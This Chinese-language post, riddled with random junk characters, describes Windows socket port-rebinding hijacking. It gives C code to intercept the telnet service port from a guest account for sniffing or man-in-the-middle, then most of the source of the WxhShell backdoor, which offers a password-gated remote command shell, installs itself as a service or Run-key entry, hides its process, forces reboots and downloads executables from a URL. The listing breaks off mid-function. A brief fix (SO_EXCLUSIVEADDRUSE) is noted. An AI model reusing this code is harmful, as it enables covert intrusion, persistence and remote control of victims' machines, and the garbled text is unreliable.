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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rs 7R5 F s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ExY
~. zF\k*B saddr.sin_family = AF_INET; a8A8?: GJ{]}fl saddr.sin_addr.s_addr = htonl(INADDR_ANY); u_zp?Nc xqM R[W\x bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'rq
[P", oy/#,R_n% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a"#5JcR3 j.AAY?L 这意味着什么?意味着可以进行如下的攻击: <7?MutHM- H[!by)H 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
mEhVc! xjv?Z"X 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Rz*%(2Vz g%[lUxL 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E]_sl/`{od
5Lm ? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 "mHSbG pkBmAJb@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a?\
Au L[##w?Xf. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M^k~w{ +r4^oT[- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8 :Z3Q viY _Y.Yjy #include F9-xp7T #include 8Qek![3^ #include RUSBJsMB #include ^EM##Ss_ DWORD WINAPI ClientThread(LPVOID lpParam); k((_~<$2K int main() Z`q?p E>R { @/B&R^aVZ WORD wVersionRequested; b.;F)( DWORD ret; &YqgMC WSADATA wsaData; %3'80u6BCJ BOOL val; e"[o2=v;5 SOCKADDR_IN saddr; AGS?<6W- SOCKADDR_IN scaddr; n#bC, int err; TJ2$
Z SOCKET s; N[ E
t SOCKET sc; 80
i<Ij8J int caddsize; ndW??wiM HANDLE mt; 9M<qk si DWORD tid; ]NG`MZ
wVersionRequested = MAKEWORD( 2, 2 ); <E!M<!h err = WSAStartup( wVersionRequested, &wsaData ); ?
vk;b! if ( err != 0 ) { 3QU<vdtr printf("error!WSAStartup failed!\n"); o;_v' return -1; l9#M`x9 } kCLz@9>FQ saddr.sin_family = AF_INET; XQHvs{Po ^Shz[=fd //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
PgxD?Oi8 5?%(j!p5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iI&J_Y{1a_ saddr.sin_port = htons(23); ^'6!)y# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yC6XO&:g { 9q;+ Al^Z printf("error!socket failed!\n"); ^hRos return -1; lUUeM\ } |4ONGU*`E val = TRUE; X0Xs"--} //SO_REUSEADDR选项就是可以实现端口重绑定的 G\|VTqu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gtVI>D'(W { g' H!%< printf("error!setsockopt failed!\n"); 8L6!CP_! return -1; %R-"5?eTtu } W32bBzhL //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1[:?oEI //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I[@}+p0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IbF[nQ `=vL?w^QS if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [|Jzs[ { Et4gRS)\ ret=GetLastError(); ixE72bX printf("error!bind failed!\n"); '@ (WT~g return -1; Ef:.)!;jy } 7b \Hbg Z listen(s,2); aXhgzI5] while(1) W6
f *> { ?b:l.0m caddsize = sizeof(scaddr); egK,e?~ //接受连接请求 V)f/umT%g sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +tES:3Pi if(sc!=INVALID_SOCKET) .@gv}`> { Y
u8a8p| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nO,<`}pV if(mt==NULL) _<yJQ|[z~i { 7%V2 printf("Thread Creat Failed!\n"); Fp'k{ break; p\WW~qD } OB>Pk_eQK } gj0gs CloseHandle(mt); NYm2fFPc } RxjC sjg closesocket(s); +F]X WSACleanup(); /P Qz$e-!Y return 0; (kK6=Mrf } ^8ZVB.Fv DWORD WINAPI ClientThread(LPVOID lpParam) a=.A/;|0* { "z1\I\
^ SOCKET ss = (SOCKET)lpParam; $*\[I{Zau} SOCKET sc; jyb/aov unsigned char buf[4096]; )F8G q, SOCKADDR_IN saddr; WIa4!\Ky! long num; \|L ~#{a DWORD val; !X
e DWORD ret; j7?53e //如果是隐藏端口应用的话,可以在此处加一些判断 F%UyFUz //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 >MauuL,.j saddr.sin_family = AF_INET; 4'cdV0] saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t"cGv32b saddr.sin_port = htons(23); PeEC|&x if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =EA*h_"q9 { hl(M0cxEWP printf("error!socket failed!\n"); ' jf$3 return -1; "W?<BpV~@! } 5$9g4 val = 100; 0~
!).f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d~n|F|`: { WsO'4~X9 ret = GetLastError(); E:'TZ4Z return -1; /qM:;:N%j } N.R,[K if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?"-%>y@w { ElLDSo@WvR ret = GetLastError(); -]HPDN,OB return -1; j:ze5F A+ } s~(!m. R if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Hs,pY(l^ { 0wL-Ak#v printf("error!socket connect failed!\n"); 6^_:N1@ closesocket(sc); T:k-`t0":N closesocket(ss); /<ODP6Yy; return -1; GxjmHo } BSU%.tmI while(1) 8ExEhBX8 { )%H@.;cD_r //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k<xPg5 //如果是嗅探内容的话,可以再此处进行内容分析和记录 [HNWM/ff7+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =qG%h5]n num = recv(ss,buf,4096,0); cXP*?N4Cf if(num>0) t6m&+N send(sc,buf,num,0); `P/7Mf else if(num==0) |Rk9W break; Z{&dzc num = recv(sc,buf,4096,0); vw(X9xa if(num>0) ,c }R*\ send(ss,buf,num,0); )*6]m1 else if(num==0) od\-o:bS break; a;@G } 7tbM~+<0 closesocket(ss); "%^T~Z(_j closesocket(sc); jFAnhbbCE return 0 ; Lc L|'S) } "`WcE/( ~\HGV+S!g} N_<wiwI< ========================================================== L>:YGM"sL l}\q }7\) 下边附上一个代码,,WXhSHELL &USKudXmb fviq}. ========================================================== ).IB{+ NmbA~i #include "stdafx.h" 0_\@!#-sml ?4QX;s7 #include <stdio.h> m3Ma2jLWC #include <string.h> !mX-g]4E #include <windows.h> 2GRL`.1 #include <winsock2.h> MLVrL r t #include <winsvc.h> 1dsMmD[O #include <urlmon.h> $Sg5xkV,a E(%_aFx>/ #pragma comment (lib, "Ws2_32.lib") VR:4|_o #pragma comment (lib, "urlmon.lib") xcf`i:\ _6O\*|'6 #define MAX_USER 100 // 最大客户端连接数 `Ckx~'1M: #define BUF_SOCK 200 // sock buffer e$
pXnMx7 #define KEY_BUFF 255 // 输入 buffer LHJ}I5zv i"4&UJu1; #define REBOOT 0 // 重启 CSu}_$wC# #define SHUTDOWN 1 // 关机 Obj?, O =H8
LBM #define DEF_PORT 5000 // 监听端口 }fqz8'E9 3y9R1/! #define REG_LEN 16 // 注册表键长度 hzR1O( #define SVC_LEN 80 // NT服务名长度 2^3N[pM; xJ=@xfr$ // 从dll定义API 9|('* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wgETL|3- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 98Dg[O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E![Ye@w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^/`W0kT G&7!3u // wxhshell配置信息 ?^f=7e8] struct WSCFG { gjbSB6[ int ws_port; // 监听端口 e"I+5r", char ws_passstr[REG_LEN]; // 口令 m@A?'gD int ws_autoins; // 安装标记, 1=yes 0=no 3]z%C' char ws_regname[REG_LEN]; // 注册表键名 u[Ij4h. char ws_svcname[REG_LEN]; // 服务名 )c; YR}tC char ws_svcdisp[SVC_LEN]; // 服务显示名 =uG}pgh0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 lPBWpHX char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4ju=5D]; int ws_downexe; // 下载执行标记, 1=yes 0=no
7~f"8\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ,\]`X7r char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WciL
zx/ )fGIe rS }; 3 *g>kRMJ [p:mja.6y // default Wxhshell configuration !Au@\/} struct WSCFG wscfg={DEF_PORT, 7k<6oM1 "xuhuanlingzhe", BSyl!>G6n8 1, 45
\W%8 "Wxhshell", igGg[I1? "Wxhshell", 1Uy'TEk "WxhShell Service", IGKtugU% "Wrsky Windows CmdShell Service", D~^P}_e. "Please Input Your Password: ", ,JU3w 1, Q"(*SA+-| " http://www.wrsky.com/wxhshell.exe", QGq8r> "Wxhshell.exe" O~udlVn<6 }; LtK= nK s+fjQo4 // 消息定义模块 Kn#CIFbBN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C2a2K={ char *msg_ws_prompt="\n\r? for help\n\r#>"; Fk4T>8q2; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; WL#E%6p[ char *msg_ws_ext="\n\rExit."; !:^?GN #~x char *msg_ws_end="\n\rQuit."; lL<LJ
:L char *msg_ws_boot="\n\rReboot..."; kMJA#{< char *msg_ws_poff="\n\rShutdown..."; GxynLXWo> char *msg_ws_down="\n\rSave to "; V1]QuQ{&s B3';Tcs char *msg_ws_err="\n\rErr!"; aS
$ J ` char *msg_ws_ok="\n\rOK!"; qRbU@o.3 4DTT/ER'qA char ExeFile[MAX_PATH]; R5b!Ao int nUser = 0; wRj||yay#- HANDLE handles[MAX_USER]; Z!81\5 int OsIsNt; EvJ<X,Bo 0e,U&B<W SERVICE_STATUS serviceStatus; t(.jJ>|+* SERVICE_STATUS_HANDLE hServiceStatusHandle; r:~q{ +U^H`\EUr // 函数声明 c|2+J:}p int Install(void); ^VOA69n>$ int Uninstall(void); -TT{4\%s int DownloadFile(char *sURL, SOCKET wsh); UNOKK_ int Boot(int flag); ;x|LB>. void HideProc(void);
Pxy+W*t int GetOsVer(void); x^XP<R{D int Wxhshell(SOCKET wsl); &`LR{7m void TalkWithClient(void *cs); ;JHR~ TV int CmdShell(SOCKET sock); O,_k.EH int StartFromService(void); oa"_5kn, int StartWxhshell(LPSTR lpCmdLine); \&,{N_G#L. j0.E!8Ae{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G^W'mV$xl VOID WINAPI NTServiceHandler( DWORD fdwControl ); t4H*&U 4R&e5! // 数据结构和表定义 dm~Uj SERVICE_TABLE_ENTRY DispatchTable[] = p?H2W- { ZP(T=Q {wscfg.ws_svcname, NTServiceMain}, )/FEjo {NULL, NULL} wpK[; }; E
5N9.th =#.qe= // 自我安装 xO0}A1t
Wd int Install(void) LUfo@R { NxGSs_7 char svExeFile[MAX_PATH]; GS@Zc2JPF HKEY key; 6=3;(2u[C" strcpy(svExeFile,ExeFile); DPM4v7 S iQ8T3cC+ // 如果是win9x系统,修改注册表设为自启动 szw|`S>o if(!OsIsNt) { ph~d%/^jI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3DX@ggE2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4SNDKFw RegCloseKey(key); 3:mZ1+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /DGEI&}&:u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DWXHx RegCloseKey(key); Uip-qWI return 0; -A(]U"@n } ('oA{,#L } 4DV@- } GWCU9n else { K4vOy_wT 8 \Uy // 如果是NT以上系统,安装为系统服务 gaC[%M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .qfU^AHA if (schSCManager!=0) Zk<Y+! { 8k9q@FSln SC_HANDLE schService = CreateService
0 ~^l* ( <6STw schSCManager, 4sM9~zC5 wscfg.ws_svcname, %uQOAe55 wscfg.ws_svcdisp, (4Ha'uqz SERVICE_ALL_ACCESS, .:9XpKbt SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fI"OzIJV SERVICE_AUTO_START, VxqoE]Dh SERVICE_ERROR_NORMAL, +&*Ybbhb svExeFile, yP*oRV%uX NULL, )n{9*{Ch NULL, hnTk)nq5# NULL, |576) NULL, W@p 27Tiq NULL X 3(CY`HH[ ); )=Ens=>Z if (schService!=0) C)(/NGf { #p7_\+&5s CloseServiceHandle(schService); c-`izn] CloseServiceHandle(schSCManager); |TQa= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rwe!xY^d8 strcat(svExeFile,wscfg.ws_svcname); w@i;<LY. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W;^6=(&xn RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #%{x*y:Ms RegCloseKey(key); 01">$ return 0; Gr|IM,5P4 } 30<3DA_P } !D~\uW1b CloseServiceHandle(schSCManager); /"
6Gh' } Nf1&UgX } ' )~G2Ys jm&PGZ#n=R return 1; J5L[)Gd)D } aBT8mK -. 0RGqpJxk // 自我卸载 dz,4);Mg int Uninstall(void) 1pJ?YV { 5$%CRm HKEY key; ~zcB@; :
CJf4b:SY@ if(!OsIsNt) { jVInTR0f[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ofy)}/i RegDeleteValue(key,wscfg.ws_regname); wY{!gQ RegCloseKey(key); 6>F1!Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { miEf<<L#z RegDeleteValue(key,wscfg.ws_regname); (&oT6Ji RegCloseKey(key); Hq0O!Zv return 0; ey ?paT } 9HG" }CGZP } nV>=n,+s" } 0ra+MQBg else { I7?s+vyds s&D>'J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |l673FcJ if (schSCManager!=0) JK^pb0ih { JTdcLmL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a8cX{6 if (schService!=0) C sx
EN4 { Z/+H if(DeleteService(schService)!=0) { 22gh,e2o CloseServiceHandle(schService); 6bd{3@ CloseServiceHandle(schSCManager); N7#,x9+E return 0; yq,%<%+ } U{ZKxE CloseServiceHandle(schService); }ZkGH}K_} } 7f\/cS^ CloseServiceHandle(schSCManager); o>MB8[r } ~NZ}@J{00_ } 7~2V5@{< 2O
"
~k return 1;
dEK bB } gjc[\"0a5h =fcRH:B: // 从指定url下载文件 1pZ[rM'} int DownloadFile(char *sURL, SOCKET wsh) qd@Fb* { Bt(U,nFB HRESULT hr; (/gMtIw char seps[]= "/"; )g[7XB/w char *token; yPT\9"/ char *file; mJa8;X!r6 char myURL[MAX_PATH]; ?7Skk char myFILE[MAX_PATH]; Vh8RVFi;c 9B2`FJ strcpy(myURL,sURL); s,]z6L0 token=strtok(myURL,seps); +9]CGYj while(token!=NULL) /A>1TPb09" { A1/[3Bz file=token; g7O,
< token=strtok(NULL,seps); .7r$jmuFs } z.0!FUd ydf;g5OZ GetCurrentDirectory(MAX_PATH,myFILE); 2/RW( U strcat(myFILE, "\\"); !Tu4V\^~A strcat(myFILE, file); 'OvyQ/T
send(wsh,myFILE,strlen(myFILE),0); ^/"2s}+ send(wsh,"...",3,0); 3TF'[(K= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KK41I8Mw if(hr==S_OK) L]QBh\ return 0; -14~f)%NQ* else mmBZ}V+&= return 1; 0JX/@LNg0 u!9bhL` } Ct pc]lJ} lCK|PY* // 系统电源模块 4<y|SI! int Boot(int flag) mcLxX'c6<h { A}z1~Z+ HANDLE hToken; oPC
qv TOKEN_PRIVILEGES tkp; G:Cgq\+R
!AFii:# if(OsIsNt) { XDAwE OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MB3
N3,yL LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C.Re*;EI, tkp.PrivilegeCount = 1; AS]jJc^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D}L4uz? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \!!1o+#1j if(flag==REBOOT) {
0;:AT|U/d if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pb}4{]sI return 0; &1M#;rE;D# } k{ibD5B else { xT;j_'9U; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .R{+Pz D return 0; Aj "SSX!L } 15wwu} X } xqLIs:* else { TDY =! if(flag==REBOOT) { '^~38=FA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mBWhC<kKs return 0; <7yn : } sZYTpZgW4L else { Ng+Ge5C9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i=j4Wg ,{J return 0; .p
/VRlLU } +e( (! } }
f+hB =*Y=u6? return 1; ~R\U1XXyUY } vp..>BMJ Wkc^?0p // win9x进程隐藏模块 VO+3@d: void HideProc(void) hSfLNvK
{ C^!ej" E K#ib HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eVB.g@%T if ( hKernel != NULL ) p="K4E8~H { {uji7TB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MD=VR(P?eq ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kG|pM54:^ FreeLibrary(hKernel); HK!Vd_&9, } Y~uqKb;A v9+1[Y"; return; ~7"6Y] } ~#V1Gunq BRGTCR // 获取操作系统版本 AAld2"r int GetOsVer(void) TCS^nBEE { +)QA!g$ OSVERSIONINFO winfo;
=[G) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5"8R|NU:\0 GetVersionEx(&winfo); p:gM?2p1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E!v^j=h$u return 1; Mq2[^l!qu else Trwk9 + return 0; f+Da W } 8et.A TLiA>`r= // 客户端句柄模块 B#9T6|2 int Wxhshell(SOCKET wsl) +yYSp8> { (y{nD~k SOCKET wsh; >m&r,z struct sockaddr_in client; 4E.K6=k|=a DWORD myID; Il,^/qvIY 6mbHfL>cO while(nUser<MAX_USER) d( +E0 { XG_Iq , int nSize=sizeof(client); UONW3}- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7]6HXR @ if(wsh==INVALID_SOCKET) return 1; A1nEp0%Y M/^kita handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {ei,>5K if(handles[nUser]==0) w=S7zzL) closesocket(wsh); (Jb[_d* else 8ncgTCH: nUser++; %l8nTcL_? } $>mTPNF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8GD!]t# {|Pz9a-: return 0; fG\]&LFBU } hV4\#K[ Mb0cdK?hA // 关闭 socket 9Ucn
6[W void CloseIt(SOCKET wsh) MOEB{~v`; { 3U73_=>=& closesocket(wsh); 9p5{,9 .3* nUser--; =#c?g Wb56 ExitThread(0); 34P5[j!h } WxFrqUz %aeQL;# V // 客户端请求句柄 r`T(xJ!) void TalkWithClient(void *cs) |. zotEh { ]Ak@!&hyak -j 6U{l SOCKET wsh=(SOCKET)cs; )!``P?3? char pwd[SVC_LEN]; &]2z)&a char cmd[KEY_BUFF]; 4SqZV char chr[1]; e!(0y)* int i,j; fC4D# @|^2 +K/ while (nUser < MAX_USER) { \Ow-o0 bUp
,vc* if(wscfg.ws_passstr) { ?>p<!:E!r if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H.ZmLB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,~_)Cf#CB //ZeroMemory(pwd,KEY_BUFF); ?"no~(EB i=0; @Pc]qu while(i<SVC_LEN) { l&d 6G0 g(0
|p6R // 设置超时 $LF fd_set FdRead;
=*YK6 struct timeval TimeOut; K"sfN~@rT[ FD_ZERO(&FdRead); KR6*)?c` FD_SET(wsh,&FdRead); NgnHo\) TimeOut.tv_sec=8; *L9s7RR TimeOut.tv_usec=0; T$'GFA int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L:y}
L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); syYg, G[ Hop$w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <4W"ne28 pwd =chr[0]; AE)<ee%\\ if(chr[0]==0xd || chr[0]==0xa) { m$xyUv1 pwd=0; xwj%X%2 break; dsP1Zq } y/m^G=Q6g# i++; |Aw(v6 } ,Jf)A/_ d/G P.d // 如果是非法用户,关闭 socket J(\"\Z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "b!QE2bRO } 3d.JV'C'c C'hI{4@P send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _|ucC$* send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WRJ+l_81 ?zKVXK7}0 while(1) { nzTzc5
w 9_rNJLj8y ZeroMemory(cmd,KEY_BUFF); 8E /]k\ SrN;S kS // 自动支持客户端 telnet标准 Es kh=xA { j=0; ZpHT2-baVe while(j<KEY_BUFF) { dy jzF`H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FhZ&^.: cmd[j]=chr[0]; W9?Yzl if(chr[0]==0xa || chr[0]==0xd) { <4y1[/S cmd[j]=0; -0Q:0wU
break; 0:**uion } hltH{4 j++; Lrz>0_Q } *0y+=,"QU Ho?+?YJ#P // 下载文件 W Io^=?% if(strstr(cmd,"http://")) { 1{% EQhNd send(wsh,msg_ws_down,strlen(msg_ws_down),0); aI|<t^X if(DownloadFile(cmd,wsh)) J!
>HT'M send(wsh,msg_ws_err,strlen(msg_ws_err),0); )}?'1ciHI else &j/ WjZPF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +b]g; } 6:B[8otQ else { cW,wN~ *&B*/HAN switch(cmd[0]) { x!q$`zF\\ ,SJB3if // 帮助 .b vB8VOrW case '?': { $6:j3ZTXrt send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |Gjd break; f3-=?Z } #GK&{)$ // 安装 f&(u[W case 'i': { ;tI=xNre`1 if(Install()) FpfOxF6A3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); !xMyk>%2 else Nm<3bd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rcf_31 L break; W
k'()N } :gb7Py'C // 卸载 +J$[RxQ# case 'r': { d> Y9g if(Uninstall()) au574tj send(wsh,msg_ws_err,strlen(msg_ws_err),0); :n>m">4 else XN]kNJX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :SSe0ZZ_6b break; K|Std)6 } /wI$}X5o~ // 显示 wxhshell 所在路径 p0uQ>[NV0 case 'p': { 0<Px2/ char svExeFile[MAX_PATH]; @g""*T1:$ strcpy(svExeFile,"\n\r"); Gy
'l; 2 strcat(svExeFile,ExeFile); 1c,$D5# send(wsh,svExeFile,strlen(svExeFile),0); ,a< !d break; 9wC q } @y9_\mX!s // 重启 E<'3?(D9hL case 'b': { /l0\SVwa> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ve7[U_" if(Boot(REBOOT)) A[;R_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); (C,PGjd else { V?HC\F- closesocket(wsh); fT/;TK>z> ExitThread(0); _7]* 5Pxo } .5|wy< break; sBq @W4 } Kw&J<H // 关机 F^&_O*" case 'd': { c5<M=$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @xB"9s if(Boot(SHUTDOWN)) qWtvo';3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); z`xdRe{QP else { a~7`;Ar closesocket(wsh); }!(cm;XA" ExitThread(0); yu<sd}@ } jUZ84Gm{ break; S*IF/ fu } AlIFTNg:" // 获取shell {*`qL0u]^ case 's': {
C*b!E: CmdShell(wsh); G TNN4 closesocket(wsh); /{d7%Et6 ExitThread(0); y0M^oLx break; @ bPQhn#(g } QK%{\qu // 退出 VW I{ wC case 'x': { gsqlWfa send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); siZ w-. CloseIt(wsh); F# y5T3(P break; k!>MZ } U{} bx // 离开 e54wAypPOl case 'q': { lDnF( send(wsh,msg_ws_end,strlen(msg_ws_end),0); `!kOyh:X closesocket(wsh); T'
%TMA WSACleanup(); tz)aQ6p\X exit(1); /G9wW+1 break; vXAO#'4tm% } :,Q\!s! } '0[D-jEr } 3u^U\xB 0+}42g|_ Z // 提示信息 ?"N,do if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <[@AMd S } IKMkpX!] } 7](,/MeGG PB_+:S^8 return; $d3al%Uo } `|Pfa [`BMi-WQ // shell模块句柄 {~_X-g5|] int CmdShell(SOCKET sock) zt/b S/ { 1N{}G$'Go STARTUPINFO si; +3dWnBg? ZeroMemory(&si,sizeof(si)); oDogM`T` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o|YY,G=C si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zc01\M PROCESS_INFORMATION ProcessInfo; ON.C%-T- char cmdline[]="cmd"; % 4|* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r:]t9y>$< return 0; As
}:~Jy| } {4J:t_<nKO {VtmQU?cJ // 自身启动模式 _y*@Hj int StartFromService(void) Tw*:Vw { r"sK@ typedef struct y.(Yh1 { &*}`uJt DWORD ExitStatus; 5Iine n3> DWORD PebBaseAddress; bnHQvCO3$ DWORD AffinityMask; y (@j;Q3(r DWORD BasePriority; h_#x@p ULONG UniqueProcessId; tj$&89 ULONG InheritedFromUniqueProcessId; {9:[nqX } PROCESS_BASIC_INFORMATION; zGzeu)d N3dS%F,_ PROCNTQSIP NtQueryInformationProcess; 1W3+ng 4efIw<1_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ko<u0SjF)u static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $WmB __ 011 N HANDLE hProcess; x-27rGN PROCESS_BASIC_INFORMATION pbi; _=0%3Sh do,ZCn HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?+Gc.lU if(NULL == hInst ) return 0; %87D(h!.I4 WXHvUiFf g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 